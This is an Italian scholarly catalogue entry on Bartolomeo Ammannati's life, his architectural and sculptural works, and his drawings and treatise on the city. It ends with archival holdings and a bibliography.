Dal 1537 fu impegnato con Jacopo Sansovino nella decorazione della Libreria di S. Marco a Venezia e nel 1544-46 è a Padova dove realizza varie opere scultoree per Marco Mantova Benavides. Dopo il suo matrimonio a Urbino (17 aprile 1550) con Laura Battiferri, e grazie alla influente protezione di Giorgio Vasari venne presentato al pontefice Giulio III che ne utilizzò le versatili qualità nelle numerose costruzioni avviate nella sua Vigna sulla via Flaminia (villa Giulia), oltre che in vari altri complessi di interesse papale. E’ ancora con la intermediazione vasariana che Ammannati si trasferisce a Firenze e trova credito presso la corte medicea prima come scultore
(fontana di Palazzo Vecchio; fontana di Piazza, 1559; fontana del Tribolo a Castello; fontana dell’Appennino a Castello; Ercole e Anteo, 1573-65) e successivamente (dal 1560) come architetto di fiducia del granduca che gli affidò i lavori di ampliamento di Palazzo Pitti (1560-1577), destinato a divenire sede della corte principesca. Agli stessi anni appartengono i progetti di numerosi palazzi fiorentini come quello di Ugolino Grifoni (1557-74), Giugni (ante 1577), Ramirez Montalvo (1568), Mondragone (1568), le case dell’Arte della Lana (1575-78 e 1584, via Alfani-via della Pergola), e il chiostro di S. Spirito (1564-96).
Sempre all’ambito vasariano e cortigiano è da riferire la creazione dell’accademia del Disegno (1564) che vede Ammannati come uno dei fondatori.
Tra 1567 e 1569 fu impegnato nella realizzazione del Ponte S. Trinita, distrutto da una piena d’Arno (13 settembre 1557), con un progetto di innovativa qualità statica e costruttiva.
Dal 1577 al 1581 lavorava al Palazzo Ducale di Lucca (rimasto incompiuto) ed a più riprese a Roma, per il cardinale Ferdinando dei Medici (poi granduca).
Al 1572 risalgono i primi contatti di Ammannati con i Gesuiti per i quali dal 1579 realizzava l’ampliamento della chiesa e convento di S. Giovannino a Firenze.
L’opera grafica di Ammannati (conservata presso il GDSU e la BRF) pare incentrata prevalentemente sullo studio tipologico e sulle formule architettoniche adatte a qualificare l’architettura civile e trova una articolata sintesi nel Trattato sulla città (1584).
Il corpus dei disegni e degli scritti rimasti, afferenti al Trattato cui l’Ammannati attese tutta la vita, è costituito da frammenti non omogenei; un volume di disegni conosciuti sotto il nome di “Città Ideale” è conservato presso il GDSU (Bartolomeo Ammannati, fabbriche di sua invenzione dal n. 3382A al n. 3464A). Le restituzioni grafiche si soffermano ad una scala di dettaglio tipologico e compositivo che dà conto dell’iter progettuale dell’autore impegnato nei grandi cantieri fiorentini.
Maggiore interesse per un ambito più vicino a quello territoriale si trova nel corpus Riccardiano (BRF, Edizioni rare 120), costituito di tre quaderni numerati progressivamente da c. 1 a c. 114 e seguiti da due opere a stampa di Luca Pacioli. Da c. 1 a c. 31 si trovano ampiamente illustrati esempi di esercizi geometrici e matematici; le cc. 32-52 sono disegni e appunti interessanti l’attività dell’architetto dal 1555 a dopo il 1570; la parte seconda da c. 53 a c. 85 contiene un capitolo che illustra il sistema di fortificazioni e seguono appunti e disegni vari che utilizzano la veduta prospettica “a volo d’uccello” per rappresentare sia i dettagli che le qualità di mura e baluardi .
Con la parte terza (cc. 95-114), relativa a strumenti e tecniche per la misurazione, l’Ammannati si confronta con la cultura tecnica del granducato. In tal senso sono da intendere gli esempi grafici inseriti nel testo, schizzati con immediatezza e comprensivi di annotazioni di tipo paesaggistico.
Di possibile ulteriore afferenza alle tematiche geografico-paesaggistiche dovevano essere i disegni (perduti) per la villa Medici di Roma, sottoposti (29 aprile 1570) all’approvazione del cardinale Ferdinando, che mostravano l’area fino a Trinità dei Monti (Gaye, III, p. 281).

Produzione di cartografia manoscritta:
Rappresentazioni cartografiche

Fabbriche di sua invenzione dal n. 3382A al n. 3464A (GDSU);
Trattato sulla città (BRF, Edizioni rare 120).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici
Baldinucci, VI, 1769; Gaye, III, 1840; Vasari, VII, 1881; DBI, ad vocem; Fossi, 1967; Fossi, a cura di, 1970; Fossi, 1976; Rosselli Del Turco e Salvi, a cura di, 1995; Kiene, 1995; Belluzzi e Belli, 2003; GDSU; BRF.

Rimandi ad altre schede:

Autore della scheda: Giuseppina Carla Romby